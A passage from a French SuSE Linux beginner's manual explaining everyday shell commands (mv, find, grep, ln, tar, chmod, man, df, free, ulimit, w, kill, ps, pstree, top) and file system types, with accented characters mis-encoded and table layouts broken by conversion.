  31286.                            efface le rΘpertoire bin dans le rΘpertoire courant ainsi que tous les fichiers
  31287.                            et rΘpertoires qu'il contient. Cette option doit Ωtre utilisΘe avec la plus grande
  31288.                            prudence car il est impossible de rΘcupΘrer les fichiers effacΘs par inadver-
  31289.                            tance !
  31290.  
  31291.                            La commande mv   (angl. move) dΘplace les fichiers ou les rΘpertoires. Sa syn-
  31292.                            taxe est identique α celle de cp  . Ainsi, l'entrΘe de la commande
  31293.                                  tux@terre:  >  mv  xvnews.tgz  XVNEWS.tgz
  31294.  
  31295.                            ``dΘplacera''  le  fichier  xvnews.tgz  du  rΘpertoire  courant  vers  le  fichier  du
  31296.                            nom de XVNEWS.tgz dans le rΘpertoire courant, ce qui correspond α un simple
  31297.                            changement de nom. Les choses deviennent plus intΘressantes lorsqu'il s'agit
  31298.                            de dΘplacer des rΘpertoires complets :
  31299.  
  31300.  
  31301. 490
  31302.        __________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______*
  31303.  *______________________
  31304.  
  31305.  
  31306.  
  31307.       tux@terre:  >  mv  bin  ~/latex
  31308. dΘplace  le  rΘpertoire  bin  (s'il  en  existe  un  dans  le  rΘpertoire  courant)  vers
  31309.  
  31310. ~/latex.        Tous  les  rΘpertoires  et  fichiers  qui  se  trouvaient  auparavant  sous
  31311. bin sont maintenant sous ~/latex/bin. Vous devriez Θgalement vous mon-
  31312. trer trΦs prudent avec cette commande car on a vite fait de dΘplacer des rΘper-
  31313. toires complets vers des endroits ou il est difficile de les retrouver
  31314.  
  31315. Le dΘplacement d'un rΘpertoire complet n'est possible qu'α l'intΘrieur d'un
  31316. systΦme de fichiers (donc d'une partition).
  31317.  
  31318.  
  31319. 19.7.6       Recherche et exploration de fichiers
  31320.  
  31321. Encore  une  autre  commande  utile  :  find   .  Pour  rechercher  le  fichier  emil
  31322. dans tous les sous-rΘpertoires du rΘpertoire courant, vous devez taper :
  31323.  
  31324.       tux@terre:  >  find  .  -name  "emil"
  31325.  
  31326. Le  premier  argument  correspond  au  rΘpertoire  α  partir  duquel  la  recherche
  31327. doit commencer. L'option -name      requiert une chaεne de recherche qui puisse
  31328. aussi contenir des +  wildcards. Pour rechercher tous les fichiers dont le nom
  31329. contient la chaεne de recherche, tapez
  31330.  
  31331.       tux@terre:  >  find  .  -name  "*emil*"
  31332.  
  31333. Comme pour toutes les commandes, nous attirons votre attention sur la page
  31334. de man correspondante qui vous fournira une description plus prΘcise.
  31335.  
  31336. Il existe encore une mΘthode beaucoup plus rapide de retrouver des fichiers.
  31337. Il s'agit de locate      . Consultez α ce sujet les pages de man de locate      .
  31338.  
  31339. Si vous ne voulez pas rechercher un nom de fichier dΘterminΘ mais une chaεne
  31340. de caractΦres dans un fichier, vous pouvez utiliser la commande grep     (angl.
  31341. get  regular  expression  pattern)  :  La  commande  suivante  recherche  dans  le
  31342. fichier emil la chaεne de caractΦres `dΘtective' :
  31343.  
  31344.       tux@terre:  >  grep  "dΘtective"  emil
  31345.  
  31346. Il  est  possible,  de  cette  maniΦre,  de  retrouver  rapidement  dans  une  grande
  31347. quantitΘ de donnΘes des chaεnes de caractΦres dΘterminΘes. Vous pouvez spΘ-
  31348. cifier autant de noms de fichiers que vous le souhaitez. Il est mΩme possible
  31349. d'utiliser des wildcards et des expressions rΘguliΦres. Chaque ligne contenant
  31350. l'occurrence recherchΘe sera affichΘe.
  31351.  
  31352. Il  existe  plusieurs  options  qui  permettent  d'influer  sur  le  comportement  de
  31353. grep    . Lisez α ce sujet la page de man de grep     (man  grep       ).
  31354.  
  31355.  
  31356. 19.7.7       Liens symboliques
  31357.  
  31358. Par des liens symboliques, il est possible de donner un nom supplΘmentaire
  31359. α un fichier. Ce nom pointe vers ce fichier. Il se peut par exemple que vous
  31360. souhaitiez  conserver  diffΘrentes  versions  d'un  programme  tout  en  Θtant  s√r
  31361. de  toujours  retrouver  la  version  la  plus  rΘcente  sous  le  mΩme  nom.  La  so-
  31362. lution  consiste  α  crΘer  un  lien  symbolique  pointant  sur  la  version  que  vous
  31363. utilisez. Les liens symboliques se comportent comme les fichiers sur lesquels
  31364. ils pointent et sont par consΘquent exΘcutables. L'entrΘe de
  31365.  
  31366.       tux@terre:  >  ln  -s  check.2.4  check
  31367.  
  31368.  
  31369.                                                                                                                                    *
  31370.  *   491
  31371. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  31372.  *_______________________________________@
  31373.  
  31374.  
  31375.  
  31376.                            crΘe le lien symbolique check pointant sur le fichier check.2.4. Ceci donne
  31377.                            dans le rΘpertoire quelque chose de similaire α :
  31378.                                  lrwxrwxrwx  1  tux  users  1024  Mar  21  17:13  check  ->  check.2.4*
  31379.  
  31380.                            Les liens peuvent Ωtre supprimΘs, tout comme les fichiers, avec rm  .
  31381.                            ________________________________________________________________________________________________________*
  31382.  *________
  31383.                            |  Seul le lien est ici supprimΘ                                                                        *
  31384.  *        |||
  31385.                            |                                                                                                       *
  31386.  *        |||
  31387.                            |  et non pas le fichier sur lequel il pointe !                                                         *
  31388.  *        |||
  31389.                            |_______________________________________________________________________________________________________*
  31390.  *________|||_
  31391.  
  31392.                            19.7.8       Archivage et sauvegarde de donnΘes
  31393.  
  31394.                            Pour crΘer et extraire des archives, on se sert de la commande tar    (angl. tape
  31395.                            archive). Une archive peut contenir des fichiers individuels et/ou des arbores-
  31396.                            cences complΦtes de rΘpertoires incluant aussi les fichiers de ces rΘpertoires.
  31397.  
  31398.                            Il est tout α fait possible de compresser de telles archives, ce qui trΦs souvent
  31399.                            en rΘduit notablement la taille. Traditionnellement, les noms d'archives com-
  31400.                            pressΘes se terminent par l'extension .tgz ou .tar.gz et les noms d'archives
  31401.                            non compressΘes par .tar. Les principaux cas d'application de la commande
  31402.                            tar    sont :
  31403.  
  31404.                             1.   DΘcompression d'archives (par exemple α partir de CD)
  31405.                                       tux@terre:  >  tar  xvfz  fichierarchive.tgz
  31406.  
  31407.                                  tar    extrait  (x )  l'archive  compressΘe  (z )  fichierarchive.tgz  (f )  et
  31408.                                  crΘe automatiquement les sous-rΘpertoires Θventuellement nΘcessaires. Le
  31409.                                  nom de chaque fichier dΘcompressΘ est affichΘ α l'Θcran (v ).
  31410.  
  31411.                             2.   CrΘation d'archives
  31412.                                       tux@terre:  >  tar  cvfz  fichierarchive.tgz  fichier1  rΘper1
  31413.  
  31414.                                  tar    crΘe  (c )  l'archive  compressΘe  (z )  fichierarchive.tgz                  (f )  qui
  31415.                                  contient le fichier fichier1 et tous les fichiers du rΘpertoire rΘper1 y
  31416.                                  compris ses sous-rΘpertoires. Le nom de chaque fichier compressΘ est af-
  31417.                                  fichΘ α l'Θcran (v ).
  31418.  
  31419.                             3.   Visualisation du contenu de l'archive
  31420.                                       tux@terre:  >  tar  tfz  fichierarchive.tgz
  31421.  
  31422.                                  tar   affiche une table des matiΦre (t ) de l'archive compressΘe (z ) fichie-
  31423.                                  rarchive.tgz (f ).
  31424.  
  31425.                            L'option  z  dΘtermine  que  le  programme  GNU  Zip  (gzip    )  doit  Ωtre  utilisΘ
  31426.                            pour crΘer ou extraire des archives compressΘes.
  31427.                                  tux@terre:  >  tar  xvf  fichierarchive.tar
  31428.  
  31429.                            extrait  donc  le  fichier  fichierarchive.tar  non  compressΘ.  Pour  obtenir
  31430.                            des informations plus dΘtaillΘes :
  31431.                                  tux@terre:  >  tar  --help
  31432.  
  31433.  
  31434.                            19.8        Droits d'accΦs aux fichiers
  31435.  
  31436.                            Seul  l'utilisateur  `root'  possΦde,  en  qualitΘ  d'administrateur  systΦme,  un
  31437.                            droit d'accΦs illimitΘ α tous les fichiers, ce qui signifie qu'il est aussi le seul α
  31438.                            pouvoir positionner ou supprimer tous les droits d'accΦs.
  31439.  
  31440.  
  31441. 492
  31442.        __________________________________________________________________________________19.8.__Droits_d'accΦs_aux_fichiers________*
  31443.  *______________________
  31444.  
  31445.  
  31446.  
  31447. Le concept des droits
  31448. Les droits d'accΦs α un fichier sont rΘpartis en trois catΘgories :
  31449.  
  31450.  
  31451.   ~   Droits du propriΘtaire
  31452.  
  31453.   ~   Droits pour les membres du groupe
  31454.  
  31455.   ~   Droits pour tous les autres
  31456.  
  31457. Chacune de ces trois catΘgories est reprΘsentΘe par trois caractΦres dans l'affi-
  31458. chage (long) d'un rΘpertoire. Avec le premier caractΦre pour le type de fichier
  31459. (d, l, ou -), ceci donne 10 drapeaux (angl. flags) pour chaque fichier. Chaque
  31460. drapeau est reprΘsentΘ par un caractΦre. Les drapeaux possibles pour chaque
  31461. catΘgorie  sont  les  mΩmes  :  `r'  pour  droit  de  lecture  (angl.  readable),  `w'
  31462. pour droit d'Θcriture (angl. writable) et `x' pour droit d'exΘcution (angl. exe-
  31463. cutable). Si un drapeau n'est pas positionnΘ, il est remplacΘ par un tiret `-'.
  31464. Prenons comme exemple le fichier imaginaire linux.info.
  31465.  
  31466.       -rw-r-xr--     1  tux  users    29524  Jun  29  13:11  linux.info
  31467.  
  31468.  
  31469.  
  31470.                Fig. 19.1: ReprΘsentation des permissions sur les fichiers
  31471.  
  31472.  
  31473. Pour  le  fichier  linux.info,  la  signification  est  la  suivante  :  Le  propriΘ-
  31474. taire  du  fichier  (tux)  a  le  droit  de  le  modifier  et  de  le  lire,  les  membres
  31475. du groupe users ne sont autorisΘs qu'α le lire et α l'exΘcuter alors que les
  31476. droits de tous les autres utilisateurs du systΦme sont limitΘs α la seule lecture
  31477. de linux.info. Le signe `-' indique qu'il s'agit d'un +  fichier ``rΘgulier''
  31478. (angl. regular file).
  31479.  
  31480. Il  en  va  de  mΩme  pour  les  rΘpertoires.  Mais  dans  ce  cas,  on  trouve  encore
  31481. un  `d'  (angl.  directory)  devant  les  9  caractΦres  qui  servent  α  attribuer  les
  31482. permissions. Ceci peut ressembler α quelque chose comme :
  31483.  
  31484.       drwxr-xr--     3  tux  users    1024  Jun  29  13:11  info/
  31485.  
  31486. Lorsque le drapeau `x' est positionnΘe pour un rΘpertoire, cela signifie que
  31487. l'on peut passer dans ce rΘpertoire par exemple par la commande cd   (angl.
  31488. change directory).
  31489.  
  31490. Les utilisateurs ne faisant pas partie du groupe users ne peuvent donc pas
  31491. passer dans le rΘpertoire info.
  31492.  
  31493.  
  31494. Modification des droits d'accΦs
  31495.  
  31496. Les  droits  d'accΦs  sont  modifiΘs  par  la  commande  chmod      (angl.  change
  31497. mode). chmod      demande deux arguments :
  31498.  
  31499.   ~   les droits d'accΦs qui doivent Ωtre modifiΘs et
  31500.  
  31501.   ~   un nom de fichier.
  31502.  
  31503. Les catΘgories des trois groupes possibles sont indiquΘes ici par `u' pour le
  31504. propriΘtaire ou l'utilisateur (angl. user), `g' pour le groupe (angl. group) et
  31505. `o' pour tous les autres (angl. others), placΘs devant les droits d'accΦs qui
  31506.  
  31507.  
  31508.                                                                                                                                    *
  31509.  *   493
  31510. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  31511.  *_______________________________________@
  31512.  
  31513.  
  31514.  
  31515.                            doivent  Ωtre  modifiΘs.  Le  signe  `-'  ou  `+'  est  utilisΘ  pour  la  suppression
  31516.                            ou l'ajout de permissions. La commande suivante accorde aux membres du
  31517.                            groupe un droit de lecture, de modification et d'exΘcution du fichier linux.
  31518.                            info :
  31519.  
  31520.                                  tux@terre:  >  chmod  g+rwx  linux.info
  31521.  
  31522.                            Lorsque  les  permissions  sont  positionnΘes  pour  les  trois  catΘgories  d'uti-
  31523.                            lisateurs,  il  suffit  d'indiquer  les  droits  qui  doivent  Ωtre  modifiΘs.  La  com-
  31524.                            mande suivante dΘtermine que personne n'a de droit d'Θcriture sur le fichier
  31525.                            linux.info :
  31526.  
  31527.                                  tux@terre:  >  chmod  -w  linux.info
  31528.  
  31529.                            Les droits de lecture et d'exΘcution ne sont pas affectΘs.
  31530.  
  31531.                            Vous  pouvez  aussi  accorder  ou  supprimer  des  permissions  dans  une  ligne
  31532.                            de commande. La commande suivante positionne les permissions du fichier
  31533.                            linux.info sur exΘcutable, non lisible, non modifiable :
  31534.  
  31535.                                  tux@terre:  >  chmod  u+x-rw  linux.info
  31536.  
  31537.                            Le rΘsultat est celui-ci :
  31538.  
  31539.                                  tux@terre:  >  ls  -l  linux.info
  31540.                                     ---xr-xr--     1  tux  users    29524  Jun  29  13:11  linux.info
  31541.                            Dans  ce  contexte,  il  existe  deux  commandes  intΘressantes  qui  sont  chown
  31542.                            pour  le  ``changement  de  propriΘtaire''  (angl.  change  owner)  et  chgrp     pour
  31543.                            changer le groupe (angl. change group).
  31544.                            ________________________________________________________________________________________________________*
  31545.  *________||
  31546.                            |  La modification des droits n'est cependant possible que si le systΦme de                             *
  31547.  *        ||||
  31548.                            |                                                                                                       *
  31549.  *        |||
  31550.                            |  fichiers qui sert de base supporte un systΦme de droits. Avec les systΦmes                           *
  31551.  *        |||
  31552.                            |  msdos      ou vfat    , il est nΘcessaire de fixer les droits dΦs le ``montage'' (voir               *
  31553.  *        |||
  31554.                            |                                                                                                       *
  31555.  *        |||
  31556.                            |  paragraphe 19.11.2 page 501).                                                                        *
  31557.  *        |||
  31558.                            |_______________________________________________________________________________________________________*
  31559.  *________|||_
  31560.  
  31561.  
  31562.                            19.9        Pages de man
  31563.  
  31564.                            Les  pages  de  man  fournissent  des  informations  sur  les  commandes,  les  fi-
  31565.                            chiers  de  configuration  et  les  bibliothΦques  C.  Les  diffΘrentes  possibilitΘs
  31566.                            d'appeler la commande sont prΘsentΘes dans le tableau 19.5 page ci-contre.
  31567.  
  31568.                             _______________________________________________________________________________________________________*
  31569.  *_________
  31570.  
  31571.                               man  <mot-clΘ>                                      affiche  la  page  de  man  pour  <mot-
  31572.                                                                                   clΘ>.
  31573.  
  31574.  
  31575.                               man  -f  <mot-clΘ>                                  recherche   <mot-clΘ>   et   liste   les
  31576.                                                                                   pages de man trouvΘes.
  31577.  
  31578.  
  31579.                               man  -k  <mot-clΘ>                                  recherche dans toutes les sections des
  31580.                                                                                   pages de man le mot-clΘ <mot-clΘ>
  31581.                                                                                   et liste les pages de man trouvΘes.
  31582.  
  31583.  
  31584.  
  31585.                             _______________________________________________________________________________________________________*
  31586.  *_________
  31587.  
  31588.                                                      Tab. 19.5: Continuer α la page suivante...
  31589.  
  31590.  
  31591. 494
  31592.        _____________________________________________________________________________________________________19.9.__Pages_de_man____*
  31593.  *______________________
  31594.  
  31595.        ______________________________________________________________________________________________________________________
  31596.  
  31597.  
  31598.    man  <section>  <mot-clΘ>                            affiche  la  page  de  man  pour  <mot-
  31599.                                                         clΘ>  de  <Section>.  Par  la  com-
  31600.                                                         mande   man  1  man      ,   on   obtient   la
  31601.                                                         page de man pour la commande man
  31602.                                                         de la section 1 .
  31603.  
  31604.        ______________________________________________________________________________________________________________________
  31605.  
  31606.                             Tab. 19.5: Appel de la commande man
  31607. Sous le systΦme X Window, vous pouvez aussi utiliser le programme xman    .
  31608. La commande ordinaire man    n'en a pas moins sa raison d'Ωtre : elle est plus
  31609. rapide. Pour l'affichage des pages de man, la commande man    utilise l'outil
  31610. less  (voir le paragraphe 19.7.3 page 489. ~ Si vous avez installΘ le systΦme
  31611. d'aide  de  SuSE    ,  vous  pouvez  visualiser  confortablement  les  pages  de  man
  31612. avec un navigateur Web. Les pages de man sont rΘparties en diffΘrentes sec-
  31613. tions (voir tableau 19.6).
  31614.  
  31615.        ______________________________________________________________________________________________________________________
  31616.  
  31617.    1      DΘcrit les commandes utilisateur. Il faut toutefois noter que de nom-
  31618.           breuses commandes bash     et tcsh     sont des commandes internes, ce
  31619.           qui signifie que les informations sont fournies par les pages de man
  31620.           du bash     ou tcsh     utilisΘ.
  31621.    2      Appels systΦme des diffΘrentes bibliothΦques.
  31622.    3      Fonctions des bibliothΦques C.
  31623.    4      Description des fichiers de configuration.
  31624.    5      Syntaxe de fichiers essentiels.
  31625.    6      Description de jeux.
  31626.    7      Tout ce qui concerne le texte, format de texte et autres formats.
  31627.    8      Commandes de l'administrateur systΦme.
  31628.    9      Description des routines du noyau Linux.
  31629.    n      n  viendrait paraεt-il du mot ``nouveau''. Liste de toutes les pages de
  31630.           man  appartenant  α  l'une  des  sections  ci-dessus  mais  placΘes  tradi-
  31631.           tionnellement ici ou n'ayant leur place dans aucune des autres sec-
  31632.           tions.
  31633.  
  31634.        ______________________________________________________________________________________________________________________
  31635.  
  31636.                             Tab. 19.6: Sections des pages de man
  31637.  
  31638.  
  31639. Notez  qu'il  n'existe  pas  une  page  de  man  pour  chaque  mot-clΘ  ou  com-
  31640. mande. Vous trouverez Θventuellement plus d'informations sous /usr/doc/
  31641. (par  exemple  sous  /usr/doc/howto/en,  /usr/doc/howto/en/mini)  ou
  31642. dans le rΘpertoire /usr/doc/packages (informations sur les paquetages).
  31643.  
  31644.  
  31645.                                                                                                                                    *
  31646.  *   495
  31647. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  31648.  *_______________________________________@
  31649.  
  31650.  
  31651.  
  31652.                            19.10         Informations sur l'Θtat du systΦme
  31653.                            Il est souvent essentiel de s'informer de l'Θtat du systΦme. Vous pouvez pour
  31654.  
  31655.                            cela utiliser les commandes df  , free    , ps  , top   .
  31656.  
  31657.  
  31658.                            19.10.1        La commande df
  31659.  
  31660.                            df   fournit des renseignements sur l'espace disponible et l'espace occupΘ sur
  31661.                            le disque dur. La sortie de la commande est semblable α celle montrΘe dans
  31662.                            l'affichage 19.10.1.
  31663.  
  31664.                            ________________________________________________________________________________________________________*
  31665.  *________||
  31666.                            |Filesystem  1024-blocks       Used  Available  Capacity  Mounted  on                                   *
  31667.  *         |
  31668.                            |                                                                                                       *
  31669.  *         |
  31670.                            |/dev/sda4            699392    659258           5165           99%  /home                              *
  31671.  *         |
  31672.                            |                                                                                                       *
  31673.  *         |
  31674.                            |/dev/sda1            102384     23955         73310           25%  /                                   *
  31675.  *         |
  31676.                            |/dev/sdb1           2097136  2070485         26651           99%  /usr                                 *
  31677.  *         |
  31678.                            |                                                                                                       *
  31679.  *         |
  31680.                            |/dev/sda3____________126976____106908_________20068___________84%__/opt________________________________*
  31681.  *________ |
  31682.  
  31683.                                             affichage α l'Θcran 19.10.1: Sortie de la commande df
  31684.  
  31685.  
  31686.  
  31687.                            19.10.2        La commande free
  31688.  
  31689.                            free     fournit des informations sur l'occupation de la mΘmoire de travail et sur
  31690.                            la zone de swap (voir affichage 19.10.2).
  31691.  
  31692.                            ________________________________________________________________________________________________________*
  31693.  *________|total|   used    free  shared @
  31694.                            |                                                                                                       *
  31695.  *         |
  31696.                            |Mem:                30900  29272    1628    25608       1012     6412                                  *
  31697.  *         |
  31698.                            |-/+  buffers:            28260    2640                                                                 *
  31699.  *         |
  31700.                            |                                                                                                       *
  31701.  *         |
  31702.                            |Swap:______________66524_____176__66348________________________________________________________________*
  31703.  *________ |
  31704.  
  31705.                                           affichage α l'Θcran 19.10.2: Sortie de la commande free
  31706.  
  31707.  
  31708.                            Voir aussi l'annexe F page 547.
  31709.  
  31710.  
  31711.                            19.10.3        La commande ulimit
  31712.  
  31713.                            Avec  la  commande  ulimit     ,  il  est  possible  de  fixer  des  limites  α  l'utilisa-
  31714.                            tion des ressources du systΦme ou d'obtenir l'affichage de celles-ci. ulimit
  31715.                            convient tout particuliΦrement lorsqu'il s'agit de limiter la +  mΘmoire dispo-
  31716.                            nible pour les applications. On peut ainsi Θviter qu'une application accapare
  31717.                            pour elle seule une trop grande quantitΘ de mΘmoire, voire la totalitΘ de l'es-
  31718.                            pace, ce qui risque de provoquer un plantage du systΦme.
  31719.  
  31720.                            On  peut  invoquer  ulimit        avec  diffΘrentes  options.  Les  options  du  ta-
  31721.                            bleau  19.7  page  ci-contre  par  exemple  sont  tout  α  fait  appropriΘes  pour
  31722.                            limiter la consommation de mΘmoire.
  31723.                             _______________________________________________________________________________________________________*
  31724.  *_________
  31725.  
  31726.                               -m        Taille max. de la mΘmoire physique
  31727.                               -v        Taille max. de la mΘmoire virtuelle (swap)
  31728.  
  31729.                             _______________________________________________________________________________________________________*
  31730.  *_________
  31731.  
  31732.                                                      Tab. 19.7: Continuer α la page suivante...
  31733.  
  31734.  
  31735. 496
  31736.        ____________________________________________________________________19.10.__Informations_sur_l'Θtat_du_systΦme______________*
  31737.  *______________________
  31738.  
  31739.        ______________________________________________________________________________________________________________________
  31740.  
  31741.  
  31742.    -s         Taille max. de la pile
  31743.    -c         Taille max. des fichiers core
  31744.    -a         Affichage des limites fixΘes
  31745.  
  31746.  
  31747.  
  31748.        ______________________________________________________________________________________________________________________
  31749.  
  31750.           Tab. 19.7: ulimit       : Configurer les ressources pour l'utilisateur
  31751. Au  niveau  systΦme,  il  est  possible  de  faire  des  configurations  dans  /etc/
  31752. profile. Ici, la fonction de crΘation de fichiers core (fichiers mΘmoire) dont
  31753. les  programmeurs  ont  besoin  pour  le  ``dΘbogage''  doit  Ωtre  opΘrationnelle.
  31754. L'utilisateur ne peut pas augmenter les valeurs dΘterminΘes par +  l'adminis-
  31755. trateur systΦme dans /etc/profile mais il peut cependant ajouter une confi-
  31756. guration spΘciale dans son propre fichier ~/.bashrc. Voir le fichier 19.10.1.
  31757.  
  31758.        _______________________________________________________________________________________________________________________|#| L*
  31759.  *imite  de  la  mΘmoire  rΘel@
  31760.  
  31761.        ||||||||ulimit  -m  98304                                                                                               |
  31762.        ||||||||                                                                                                                |
  31763.        ||||||||                                                                                                                |
  31764.        ||||||||#  Limite  de  la  mΘmoire  virtuelle:                                                                          |
  31765.        ||||||||                                                                                                                |
  31766.        ||||||||ulimit__-v__98304______________________________________________________________________________________________ |
  31767.  
  31768.                   fichier 19.10.1: ParamΦtres ulimit       dans ~/.bashrc
  31769.  
  31770.  
  31771. Les spΘcifications concernant la mΘmoire doivent Ωtre faites en Ko.
  31772.  
  31773. Pour  plus  de  dΘtails,  jetez  un  coup  d'oeil  α  la  page  de  man  de  bash
  31774. (man  bash       ).
  31775.                                                                                                                                    *
  31776.  *   497
  31777. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  31778.  *_______________________________________@
  31779.  
  31780.  
  31781.  
  31782.                            19.10.4        La commande w
  31783.                            La commande w  montre tous les utilisateurs actuellement connectΘs au sys-
  31784.  
  31785.                            tΦme.  Cette  commande  procure  un  tas  d'informations  utiles.  Elle  vous  fait
  31786.                            non  seulement  savoir  combien  d'utilisateurs  travaillent  sur  votre  systΦme
  31787.                            mais  aussi  depuis  combien  de  temps  le  systΦme  est  en  marche,  quelle  est
  31788.                            sa charge actuelle et quelles sont les activitΘs des diffΘrents utilisateurs (voir
  31789.                            affichage 19.10.3).
  31790.  
  31791.                            ________________________________________________________________________________________________________*
  31792.  *________||
  31793.                            |  11:05am   up  21  days,  21:10,  8  users,   load  average:  0.23,  0.10,  0.10                      *
  31794.  *         |
  31795.                            |USER        TTY          FROM                      LOGIN@     IDLE     JCPU     PCPU   WHAT            *
  31796.  *         |
  31797.                            |root        tty1        -                 11:02am   3:34     0.10s   0.05s   -bash                     *
  31798.  *         |
  31799.                            |tux          tty3        -                 11:04am   1:24     1.29s   1.22s   emacs                    *
  31800.  *         |
  31801.                            |tux          pts/1      :0.0             11Feb  0  19:42m   1:18     0.02s   sed                       *
  31802.  *         |
  31803.                            |                                                                                                       *
  31804.  *         |
  31805.                            |tux          pts/2      :0.0             30Jan  0  18:35m  56.29s     ?        -                       *
  31806.  *         |
  31807.                            |tux          pts/6      :0.0             31Jan  0   4.00s   1.47s     ?        -                       *
  31808.  *         |
  31809.                            |tux          pts/3      :0.0             31Jan  0   2days   1.86s   1.44s   bash                       *
  31810.  *         |
  31811.                            |                                                                                                       *
  31812.  *         |
  31813.                            |tux          pts/9      :0.0              1Feb  0   2days   3.52s     ?        -                       *
  31814.  *         |
  31815.                            |tux          pts/10     :0.0              2Feb  0  59:19     9.10s   8.56s   lynx                      *
  31816.  *         |
  31817.                            |tux          pts/11     :0.0              2Feb  0   0.00s  26:49     0.01s                             *
  31818.  *         |
  31819.                            |                                                                               rlogin  vΘnus           *
  31820.  *         |
  31821.                            |                                                                                                       *
  31822.  *         |
  31823.                            |tux__________pts/12_____vΘnus.cosmos.univers_____11:09am___0.00s___0.11s___0.04s___w___________________*
  31824.  *________ |
  31825.  
  31826.                                                        affichage α l'Θcran 19.10.3: Sortie de w
  31827.                            19.10.5        La commande du
  31828.  
  31829.                            La commande du   (angl. disk usage) vous renseigne sur l'espace disque oc-
  31830.                            cupΘ par les sous-rΘpertoires et les diffΘrents fichiers. Vous trouverez de plus
  31831.                            amples informations α ce sujet dans la page de man de du   (man  du     ).
  31832.  
  31833.  
  31834.                            19.10.6        La commande kill
  31835.  
  31836.                            Envoi  de  signaux  aux  +  processus  en  cours  d'exΘcution.  Demande  comme
  31837.                            argument le numΘro d'identification du processus (angl. process id - PID) qui
  31838.                            peut  Ωtre  obtenu  par  ps   (voir  paragraphe  19.10.7).  La  commande  kill    est
  31839.                            invoquΘe par
  31840.  
  31841.                                  terre:  #  kill  <pid>
  31842.  
  31843.                            Si  le  processus  en  question  intercepte  le  signal  d'arrΩt  sans  rΘagir,  il  peut
  31844.                            quand mΩme Ωtre terminΘ par le paramΦtre optionnel -9  . La commande
  31845.  
  31846.                                  terre:  #  kill  -9  <pid>
  31847.  
  31848.                            tue dΘfinitivement le processus avec ce <pid>.
  31849.  
  31850.  
  31851.                            19.10.7        La commande ps
  31852.  
  31853.                            La commande ps   (angl. process status) montre les processus lancΘs par l'uti-
  31854.                            lisateur. Vous trouverez de plus amples informations sur cette commande dans
  31855.                            la page de man de ps  (man  ps     ). La commande ps  -a    montre les processus en
  31856.                            cours d'exΘcution appartenant aux autres utilisateurs. Par la spΘcification du
  31857.                            numΘro de processus (1Φre colonne de la sortie de ps  ), il est possible d'arrΩter
  31858.                            certains processus en cours d'exΘcution (voir paragraphe 19.10.6).
  31859.  
  31860.  
  31861.  
  31862. 498
  31863.        ___________________________________________19.11.__SystΦmes_de_fichiers_sous_Linux_~_mount______et_umount___________________*
  31864.  *______________________
  31865.  
  31866.  
  31867.  
  31868. 19.10.8        La commande pstree
  31869. pstree       affiche l'arborescence complΦte des processus sous une forme facile
  31870.  
  31871. α superviser.|Voir|l'affichage 19.10.4.                                                                                        |
  31872.        ||||||||                                                                                                                |
  31873.        _______________________________________________________________________________________________________________________||
  31874.        ||||||||init-+-bash---startx---xinit-+-X                                                                                |
  31875.        ||||||||         |                                        `-sh---fvwm-+-FvwmPager                                       |
  31876.        ||||||||                                                                                                                |
  31877.        ||||||||         |                                                            |-FvwmWinList                             |
  31878.        ||||||||         |                                                            |-GoodStuff                               |
  31879.        ||||||||                                                                                                                |
  31880.        ||||||||         |                                                            |-xclock                                  |
  31881.        ||||||||         |                                                            `-xeyes                                   |
  31882.        ||||||||         |-color_xterm---bash---xdvi.bin---gs                                                                   |
  31883.        ||||||||                                                                                                                |
  31884.        ||||||||         |-2*[color_xterm---bash---vi]                                                                          |
  31885.        ||||||||         |-color_xterm---bash---pstree                                                                          |
  31886.        ||||||||                                                                                                                |
  31887.        ||||||||         |-coolmail---coolmail---xterm---pine                                                                   |
  31888.        ||||||||         |-cron                                                                                                 |
  31889.        ||||||||                                                                                                                |
  31890.        ||||||||         |-gpm                                                                                                  |
  31891.        ||||||||         |-inetd                                                                                                |
  31892.        ||||||||                                                                                                                |
  31893.        ||||||||         |-kflushd                                                                                              |
  31894.        ||||||||         |-klogd                                                                                                |
  31895.        ||||||||                                                                                                                |
  31896.        ||||||||         |-kswapd                                                                                               |
  31897.        ||||||||         |-5*[mingetty]                                                                                         |
  31898.        ||||||||                                                                                                                |
  31899.        ||||||||         |-4*[nfsiod]                                                                                           |
  31900.        ||||||||         |-sh---master---slipto                                                                                 |
  31901.        ||||||||         |-syslogd                                                                                              |
  31902.        ||||||||                                                                                                                |
  31903.        ||||||||         |-update                                                                                               |
  31904.        ||||||||         |-xload                                                                                                |
  31905.        ||||||||                                                                                                                |
  31906.        ||||||||_________`-xosview_____________________________________________________________________________________________ |
  31907.  
  31908.                        affichage α l'Θcran 19.10.4: Sortie de pstree
  31909.  
  31910.  
  31911.  
  31912. 19.10.9        La commande top
  31913.  
  31914. Affichage de tous les processus en cours d'exΘcution, de la charge assumΘe
  31915. par le systΦme etc. Cette liste est pΘriodiquement_actualisΘe et l'on termine
  31916. l'affichage en appuyant sur la touche |q_ |.
  31917.  
  31918.  
  31919.  
  31920. 19.11         SystΦmes de fichiers sous Linux ~ mount        et umount
  31921.  
  31922.  
  31923. 19.11.1        Vue d'ensemble
  31924.  
  31925. La manipulation des systΦmes de fichiers constitue parfois un art en soi.
  31926.  
  31927. Sous Linux, vous disposez de nombreux +  systΦmes de fichiers diffΘrents. Il
  31928. vous en est prΘsentΘ une sΘlection au tableau 19.8 page suivante.
  31929.  
  31930.        ______________________________________________________________________________________________________________________
  31931.  
  31932.    affs              SystΦme de fichiers utilisΘ sur Amiga (angl. Amiga Fast Fi-
  31933.                      lesystem).
  31934.  
  31935.        ______________________________________________________________________________________________________________________
  31936.  
  31937.                           Tab. 19.8: Continuer α la page suivante...
  31938.  
  31939.  
  31940.  
  31941.                                                                                                                                    *
  31942.  *   499
  31943. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  31944.  *_______________________________________@
  31945.  
  31946.                             _______________________________________________________________________________________________________*
  31947.  *_________
  31948.  
  31949.  
  31950.                               ext2              (angl.  Second  extended  Filesystem)  Le  systΦme  de  fichiers
  31951.                                                 standard sous Linux.
  31952.                               hpfs              SystΦme de fichiers standard de IBM OS/2  (angl. High Per-
  31953.                                                 formance Filesystem). Il est supportΘ par Linux uniquement
  31954.                                                 avec accΦs en lecture seule (angl. read-only).
  31955.                               iso9660           SystΦme de fichiers standard sur CD~ROM.
